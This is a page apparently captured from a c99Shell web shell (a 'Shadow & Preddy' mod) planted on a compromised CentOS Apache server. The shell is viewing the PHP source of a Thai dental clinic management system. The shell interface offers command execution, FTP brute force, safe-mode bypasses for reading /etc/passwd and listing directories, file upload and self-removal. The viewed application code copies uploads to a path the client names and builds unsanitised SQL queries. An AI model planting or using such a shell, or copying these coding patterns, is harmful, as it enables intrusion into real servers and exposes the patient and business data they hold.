!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage_22222/Dental/   drwxr-xr-x
Free 52.37 GB of 127.8 GB (40.97%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     InsertPlanTeach.php (4.97 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
=100) { //$No_in = "0$account" ; //} //else { //if($account>=10) { //$No_in = "000$account" ; //} //else { //$No_in = "0000$account" ; //} //} //$No_code = "$HN_no$No_in" ; // รหัสสมาชิกเช่น ip0001 /////////////////// Check เลขที่ใบเสร็จ /////////// //if ($No_code =="") //{ //$msg .="
  • กรุณาระบุ เลขที่ใบเสร็จด้วยค่ะ"; //$button =""; //$Flag = false; //} ////////////// Check เลขที่ใบเสร็จ ///////////////////////////////////// //echo "$No_code
    "; //$sql4 = "Select * From account Where No_code='$No_code'"; //$result4 = mysql_query($sql4) or die("Error $result4".mysql_error()); //$sum = mysql_num_rows($result4); //if ($sum>0) //{ //$msg .="
  • รหัส $No_code ซ้ำ"; //$button =""; //$Flag = false; //} //////////////////////// check จำนวน ///////////////// //if ($Mount=="") //{ //$msg .="
  • กรุณาระบุ จำนวน"; //$button =""; //$Flag = false; //} ///////////////////// check name //if ($Price =="") //{ //$msg .="
  • กรุณาระบุ ราคา"; //$button =""; //$Flag = false; //} ///////////////////////// Check Status to Insert Data ///////////////////////////// if( $Flag) { $Path = "../images"; if ( isset($Img1) ) if (copy($Img1,"$Path/$Img1_name")) { unlink ($Img1); $Img1 = "$Path/$Img1_name"; } else echo"Can't Copy"; InsertPlanTeach($Person_code,$Teacher_code,$No_code,$HN_code,$Code,$Tooth_code,$Teach_code,$Time_in,$Img1,$Time_out,$Date,$Religion,$Discrition,$Flag); $msg.="
  • ระบบจัดเก็บข้อมูลเรียบร้อยแล้ว"; echo"\n"; } CloseDB(); ?> Inserting Treattment

    ::ฟอร์มการเพิ่มข้อมูล::
    ระบบแจ้งการทำงาน


    \n"; echo"Please Login "; } ?>

  • :: Command execute ::

    Enter:
     
    Select:
     

    :: Shadow's tricks :D ::

    Useful Commands
     
    Warning. Kernel may be alerted using higher levels
    Kernel Info:

    :: Preddy's tricks :D ::

    Php Safe-Mode Bypass (Read Files)

    File:

    eg: /etc/passwd

    Php Safe-Mode Bypass (List Directories):

    Dir:

    eg: /etc/

    :: Search ::
      - regexp 

    :: Upload ::
     
    [ Read-Only ]

    :: Make Dir ::
     
    [ Read-Only ]
    :: Make File ::
     
    [ Read-Only ]

    :: Go Dir ::
     
    :: Go File ::
     

    --[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0053 ]--